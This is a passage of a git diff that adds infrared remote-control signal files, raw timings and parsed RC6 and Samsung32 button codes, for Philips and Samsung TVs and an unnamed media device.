451 418 455 424 449 420 453 416 1331 417 455 424 449 420 453 416 458 421 452 417 456 423 450 419 1327 421 424 445 1329 419 +# +name: Vol_Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3475 1737 446 427 452 1294 444 456 423 423 446 454 425 421 448 452 417 456 423 423 446 455 424 449 420 425 444 457 422 1297 451 421 448 453 416 457 422 451 418 428 451 449 420 426 443 457 422 424 445 1301 447 426 443 458 421 451 418 456 423 449 420 454 415 458 421 452 417 1302 446 427 452 448 421 452 417 456 423 1296 452 448 421 453 416 1303 445 455 424 449 420 453 416 430 449 1297 451 421 448 1299 449 +# +name: Ch_Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3476 1764 419 454 425 1321 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 458 421 1325 423 450 419 454 414 458 421 452 417 456 423 450 419 455 424 449 420 453 416 1330 418 455 424 449 420 453 416 457 422 451 418 456 423 450 419 454 415 458 421 452 417 1330 418 454 425 1321 417 1330 418 455 424 449 420 453 416 458 421 1325 423 450 419 1327 421 1325 423 450 419 1327 421 +# +name: Ch_Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3480 1759 424 450 419 1300 448 452 417 456 423 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 1331 417 455 424 449 420 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1325 423 450 419 455 424 448 421 453 416 457 422 451 418 455 424 449 420 1326 422 424 445 1329 419 426 443 1331 417 1302 446 454 425 420 449 1298 450 450 419 1328 420 452 417 1330 418 1301 447 425 444 1330 418 +# +name: Mute +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1763 420 453 416 1330 418 455 424 449 420 453 415 458 421 452 417 456 423 450 419 454 425 448 421 452 417 456 423 1324 424 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 1329 419 454 415 458 421 452 417 456 423 450 419 427 452 448 421 452 417 456 423 1324 424 449 420 453 416 1330 418 1328 420 453 416 457 422 451 418 1329 419 454 415 458 421 1298 450 1323 425 448 421 1326 422 +# +name: Format +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1762 421 452 417 1330 418 455 424 449 420 453 416 457 422 424 445 455 424 449 420 454 414 458 421 452 417 456 423 1323 425 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 1301 447 453 416 458 421 1325 423 450 419 454 425 448 421 452 417 457 422 451 418 1328 420 1326 422 1297 451 1323 415 431 448 1325 423 1323 425 448 421 1326 422 451 418 1301 447 1326 422 424 445 1302 446 454 425 +# +name: Info +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3482 1731 452 448 421 1326 422 451 418 455 424 422 447 453 416 458 421 452 417 456 423 450 419 454 425 421 448 452 417 1330 418 454 425 448 421 425 444 457 422 451 418 455 424 449 420 453 416 457 422 1325 423 449 420 454 425 448 421 452 417 456 423 450 419 455 424 448 421 1326 422 424 445 455 424 1323 415 1331 417 1329 419 454 425 448 421 1298 450 423 446 455 424 1322 416 1330 418 1301 447 426 443 1304 444 +# +name: Favorite +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3481 1759 423 449 420 1326 422 452 417 456 423 451 417 455 424 449 420 453 415 458 421 452 417 456 423 450 419 455 424 1321 417 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 451 418 1328 420 1299 449 451 418 456 423 1323 425 448 421 453 416 457 422 451 418 456 423 1322 426 1294 443 1303 445 455 424 1295 442 458 421 1298 450 1297 451 1295 443 1304 444 456 423 450 419 1300 448 452 417 457 422 74443 3473 1739 443 456 423 1297 451 449 420 453 416 430 449 451 417 429 450 422 447 427 452 448 420 453 416 457 422 424 444 1302 446 454 425 421 448 452 417 457 422 424 444 428 451 422 447 454 414 458 421 1298 502 1244 452 421 448 453 416 1303 497 377 450 450 419 454 425 448 421 452 417 1302 446 1301 447 1299 449 451 418 1302 446 427 452 1294 444 1303 445 1301 447 1300 448 452 417 456 423 1296 452 449 420 453 415 +# +name: 1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3480 1760 422 451 418 1328 420 453 416 458 421 452 417 456 423 451 418 455 424 449 420 453 416 458 421 452 417 456 423 1322 426 448 421 452 417 457 422 451 418 455 424 449 420 454 415 458 421 452 417 1329 419 454 425 449 420 453 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 1328 420 453 415 458 421 452 417 456 423 450 419 455 424 449 420 1326 422 451 418 456 423 1323 425 +# +name: 2 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1736 446 426 443 1304 444 429 450 423 445 428 451 422 447 426 443 430 449 424 444 428 451 422 446 427 452 421 448 1299 449 424 444 428 451 422 447 426 443 431 448 425 443 429 450 423 445 427 452 1295 442 430 449 424 444 429 450 423 445 427 452 421 448 425 443 430 449 1297 451 422 447 426 453 420 449 1298 450 423 446 427 452 421 448 1299 449 424 445 429 450 423 445 1300 448 425 443 430 449 1297 451 +# +name: 3 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3480 1733 449 423 445 1301 447 426 443 431 448 425 444 429 450 423 445 427 452 421 448 426 443 430 449 424 444 428 451 1296 452 421 448 425 443 430 449 423 445 428 451 422 447 426 442 431 448 425 443 1302 446 428 451 422 447 426 442 430 449 424 445 428 451 422 447 427 452 421 448 1299 449 424 444 428 451 1295 453 421 448 425 444 429 450 423 446 1301 447 426 442 430 449 1298 450 423 445 427 452 1295 442 +# +name: 4 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3478 1735 448 452 417 1329 419 454 425 448 421 453 416 457 422 451 418 455 424 450 419 454 415 458 421 452 417 456 423 1323 425 449 420 453 416 457 422 451 418 456 423 450 419 454 415 459 420 453 416 1329 419 455 424 449 420 453 415 458 421 452 417 456 423 450 419 455 424 1322 416 1330 418 455 424 450 419 1327 421 452 417 457 422 451 418 1328 420 1298 450 451 418 456 423 1323 425 448 421 453 415 1330 418 +# +name: 5 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3475 1765 418 455 424 1295 443 431 448 452 417 429 450 450 419 454 425 448 421 453 416 457 422 451 418 455 424 449 420 1299 449 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 455 424 1322 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 455 424 1322 416 430 449 1325 423 450 419 454 425 448 421 452 417 457 422 1324 424 449 420 1327 421 452 417 456 423 1323 425 +# +name: 6 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1764 418 455 424 1322 415 457 422 451 418 456 423 450 419 454 425 449 419 453 416 457 422 451 417 456 423 450 419 1327 421 453 416 457 422 451 417 456 423 450 418 454 425 448 420 453 416 457 422 1324 424 449 420 454 425 448 420 453 416 457 422 451 418 455 424 450 419 1327 421 452 417 1329 419 455 424 1322 415 458 421 452 417 457 422 1323 425 449 420 1326 422 452 417 1329 419 455 424 449 420 1326 422 +# +name: 7 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3481 1759 423 449 420 1327 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 450 419 454 425 1321 417 457 422 451 418 428 451 449 420 454 415 458 421 452 417 456 423 450 419 1328 420 453 416 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 1324 424 1322 416 458 421 1325 423 450 419 454 425 448 421 453 416 1331 417 1329 419 426 453 1321 417 457 422 451 418 1301 447 +# +name: 8 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3473 1768 415 458 421 1325 423 451 418 455 424 449 420 453 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 455 424 449 420 454 415 458 421 452 417 457 422 450 419 455 424 449 420 1326 422 451 418 456 423 450 419 454 425 448 421 453 416 457 422 451 418 1328 420 1326 422 1297 451 450 419 1327 421 453 416 457 422 451 418 1329 419 1299 449 1325 423 451 418 1328 420 453 416 458 421 1325 423 +# +name: 9 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3475 1766 417 456 423 1323 425 448 421 453 416 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 450 419 1328 420 453 416 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 1324 424 449 420 453 416 457 422 451 418 456 423 450 419 427 452 448 421 452 417 457 422 451 418 1328 420 1327 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 1329 419 454 415 458 421 1326 422 +# +name: 0 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3475 1765 418 455 424 1322 416 458 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 450 419 1327 421 452 417 457 422 451 418 455 424 449 420 454 415 458 421 452 417 457 422 1324 424 449 420 453 415 458 421 452 417 456 423 450 419 455 424 449 420 1326 422 451 418 456 423 1322 415 1304 444 456 423 451 418 455 424 1322 416 458 421 452 417 1329 419 1327 421 453 416 457 422 1324 424 +# +name: Last +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3481 1760 422 450 419 1328 420 453 416 457 422 451 418 455 424 449 420 454 414 458 421 452 417 456 423 450 419 455 424 1322 416 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 451 418 1328 420 453 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 1328 420 1299 449 452 417 1329 419 1327 421 453 416 457 422 1324 424 1323 425 1321 417 456 423 1324 424 1322 416 458 421 1325 423 +# +name: Dash +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3482 1759 424 449 420 1326 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 1331 417 456 423 450 419 454 415 458 421 452 417 456 423 450 419 455 424 449 420 1326 422 1325 423 450 419 454 425 1321 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 1323 415 458 421 1325 423 1324 424 1322 416 457 422 451 418 1329 419 1327 421 425 444 1330 418 455 424 +# +name: Rewind +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3481 1759 424 449 420 1327 421 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 455 424 449 420 453 416 1331 417 456 423 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 1327 421 1325 423 450 419 454 425 1321 417 456 423 450 419 455 424 449 420 453 416 457 422 1325 423 450 419 454 425 448 421 1326 422 1324 424 1322 416 458 421 1298 450 1323 425 448 421 453 416 1330 418 455 424 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3473 1767 416 430 449 1325 423 450 419 427 452 448 421 425 444 457 422 451 418 455 424 449 420 454 415 458 421 452 417 1302 446 454 425 448 421 425 444 457 422 451 418 455 424 449 420 453 416 458 421 1325 423 1323 425 448 421 453 416 1330 418 455 424 422 447 454 415 458 421 452 417 456 423 450 419 455 424 449 420 453 416 1330 418 1329 419 1300 448 425 444 456 423 1324 424 449 420 453 416 1331 417 455 424 +# +name: Fast_Fwd +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1764 419 454 425 1321 417 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 450 419 454 425 449 420 1326 422 451 418 456 423 450 419 454 415 458 421 452 417 456 423 451 418 455 424 1322 416 1331 417 456 423 450 419 1328 420 453 416 457 422 451 418 456 423 1323 425 1321 417 457 422 451 418 455 424 449 420 1327 421 1325 423 450 419 1328 420 453 416 1331 417 456 423 450 419 1328 420 453 416 +# +name: Previous +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3479 1762 421 452 417 1330 418 455 424 449 420 426 443 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 1324 424 449 420 453 415 458 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 1329 419 454 415 458 421 1298 450 423 446 455 424 449 420 453 416 457 422 451 418 1329 419 1327 421 1325 423 451 418 1328 420 1326 422 1325 423 450 419 1328 420 453 416 1303 445 455 424 1295 453 448 421 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3479 1761 422 451 418 1329 419 454 425 448 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 1323 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 458 421 452 417 1329 419 1327 421 452 417 429 450 1324 424 449 420 453 416 458 421 452 417 1330 418 454 425 448 421 453 416 457 422 451 418 1329 419 1299 449 452 417 429 450 450 419 1328 420 452 417 457 422 1297 451 422 447 +# +name: Next +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3480 1732 450 423 445 1301 499 375 442 458 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 1296 452 448 421 452 417 457 422 451 418 455 424 449 420 453 416 458 421 452 417 1302 446 1301 447 453 416 457 422 1297 503 371 446 454 425 448 421 453 416 1303 445 455 424 1295 453 1294 506 1240 446 455 424 1295 443 1304 444 456 423 450 419 1301 447 453 416 1303 497 377 450 1296 452 448 421 +# +name: Stop +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3478 1735 448 452 417 1303 445 455 424 449 420 454 415 458 421 452 417 457 422 451 418 455 424 449 420 453 416 457 422 1324 424 449 420 454 415 458 421 452 417 457 422 451 418 455 424 449 420 453 416 1304 444 1302 446 454 425 448 421 1298 450 451 418 455 424 449 420 453 416 458 421 1325 423 450 419 454 425 448 421 453 416 1330 418 1301 447 1300 448 1298 450 450 419 1327 421 453 416 457 422 1324 424 449 420 diff --git a/assets/resources/infrared/TVs/Philips/Philips_32PFL4208T.ir b/assets/resources/infrared/TVs/Philips/Philips_32PFL4208T.ir new file mode 100644 index 000000000..3df91616c --- /dev/null +++ b/assets/resources/infrared/TVs/Philips/Philips_32PFL4208T.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: Home +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 54 00 00 00 +# +name: 1 +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 00 00 00 00 +# +name: Teletext +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: Format +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: F5 00 00 00 +# +name: Subtitle +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: Options +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 40 00 00 00 +# +name: SmartTV +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: BE 00 00 00 +# +name: Source +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 38 00 00 00 +# +name: Rewind +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: Play +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: Pause +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 30 00 00 00 +# +name: FastForward +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 28 00 00 00 +# +name: Record +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 37 00 00 00 +# +name: Stop +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 31 00 00 00 +# +name: Menu +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 54 00 00 00 +# +name: Exit +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 41 00 00 00 +# +name: Vol_Up +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 10 00 00 00 +# +name: Vol_Down +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 11 00 00 00 +# +name: Ch_Up +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: Ch_Down +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: Up +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 58 00 00 00 +# +name: Down +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 59 00 00 00 +# +name: Left +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: Right +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: Mute +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: Back +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: DVR +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: D2 00 00 00 +# +name: Guide +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: CC 00 00 00 +# +name: Info +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: Red +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: Green +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: Yellow +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: Blue +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 70 00 00 00 diff --git a/assets/resources/infrared/TVs/Samsung/Samsung.ir b/assets/resources/infrared/TVs/Samsung/Samsung.ir new file mode 100644 index 000000000..91820ba7f --- /dev/null +++ b/assets/resources/infrared/TVs/Samsung/Samsung.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 02 00 00 00 +# +name: Source +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 01 00 00 00 +# +name: Vol_up +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 07 00 00 00 +# +name: Vol_down +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: Mute +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: Up +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 60 00 00 00 +# +name: Down +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 61 00 00 00 +# +name: Left +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 65 00 00 00 +# +name: Right +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 62 00 00 00 +# +name: Select +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 68 00 00 00 +# +name: Return +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 58 00 00 00 +# +name: Menu +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: Exit +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 2D 00 00 00 +# +name: Smarthub +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 79 00 00 00 +# +name: Info +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 1F 00 00 00 +# +name: Search +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 73 00 00 00 +# +name: 1 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: 0 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 11 00 00 00 +# +name: - +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 23 00 00 00 +# +name: Prev_channel +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 13 00 00 00 +# +name: Family_story +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: C6 00 00 00 +# +name: MTS +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 00 00 00 00 +# +name: SRS +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 6E 00 00 00 +# +name: Support +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 3F 00 00 00 +# +name: Picture_size +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 3E 00 00 00 +# +name: Closed_Captions +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 25 00 00 00 +# +name: Rewind +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 45 00 00 00 +# +name: Fast_Forward +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 48 00 00 00 +# +name: Pause +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 4A 00 00 00 +# +name: Play +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 47 00 00 00 +# +name: Stop +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 46 00 00 00 +# +name: Record +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 49 00 00 00 +# +name: A_button +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 6C 00 00 00 +# +name: B_button +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 14 00 00 00 +# +name: C_button +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 15 00 00 00 +# +name: D_button +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 16 00 00 00 \ No newline at end of file diff --git a/assets/resources/infrared/TVs/Samsung/Samsung_BN59.ir b/assets/resources/infrared/TVs/Samsung/Samsung_BN59.ir new file mode 100644 index 000000000..60bd0792e --- /dev/null +++ b/assets/resources/infrared/TVs/Samsung/Samsung_BN59.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: E6 00 00 00 +# +name: Source +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 01 00 00 00 +# +name: Up +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 60 00 00 00 +# +name: Down +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 61 00 00 00 +# +name: Left +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 65 00 00 00 +# +name: Right +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 62 00 00 00 +# +name: OK +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 68 00 00 00 +# +name: Return +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 58 00 00 00 +# +name: Exit +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 2D 00 00 00 +# +name: Home +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 79 00 00 00 +# +name: Mute +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: VolUp +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 07 00 00 00 +# +name: VolDown +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: ChanUp +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 12 00 00 00 +# +name: ChanDown +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 10 00 00 00 diff --git a/assets/resources/infrared/TVs/Samsung/Samsung_BN5901301A.ir b/assets/resources/infrared/TVs/Samsung/Samsung_BN5901301A.ir new file mode 100644 index 000000000..072f472ab --- /dev/null +++ b/assets/resources/infrared/TVs/Samsung/Samsung_BN5901301A.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 02 00 00 00 +# +name: Source +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 01 00 00 00 +# +name: Vol_up +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 07 00 00 00 +# +name: Vol_dwn +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: Mute +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: Chan_list +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 6B 00 00 00 +# +name: Chan_up +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 12 00 00 00 +# +name: Chan_dwn +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 10 00 00 00 +# +name: Home +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 79 00 00 00 +# +name: Guide +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 4F 00 00 00 +# +name: Sleep +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 03 00 00 00 +# +name: Settings +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: Info +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 1F 00 00 00 +# +name: Return +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 58 00 00 00 +# +name: Exit +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 2D 00 00 00 +# +name: Select +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 68 00 00 00 +# +name: Up +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 60 00 00 00 +# +name: Down +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 61 00 00 00 +# +name: Left +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 65 00 00 00 +# +name: Right +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 62 00 00 00 +# +name: 1 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: 0 +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 11 00 00 00 +# +name: Dash +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 23 00 00 00 +# +name: Prev_chan +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 13 00 00 00 +# +name: A +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 6C 00 00 00 +# +name: B +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 14 00 00 00 +# +name: C +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 15 00 00 00 +# +name: D +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 16 00 00 00 +# +name: Play +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 47 00 00 00 +# +name: Stop +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 46 00 00 00 +# +name: Pause +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 4A 00 00 00 +# +name: Rewind +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 45 00 00 00 +# +name: Fast_fwd +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 48 00 00 00 +# +name: CC +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 25 00 00 00 +# +name: Pic_size +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 3E 00 00 00 +# +name: E_manual +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/TVs/Samsung/Samsung_E6.ir b/assets/resources/infrared/TVs/Samsung/Samsung_E6.ir new file mode 100644 index 000000000..c43e24e5b --- /dev/null +++ b/assets/resources/infrared/TVs/Samsung/Samsung_E6.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: E6 00 00 00 diff --git a/assets/resources/infrared/TVs/Samsung/Samsung_TV.ir b/assets/resources/infrared/TVs/Samsung/Samsung_TV.ir new file mode 100644 index 000000000..18b510544 --- /dev/null +++ b/assets/resources/infrared/TVs/Samsung/Samsung_TV.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: Samsung32 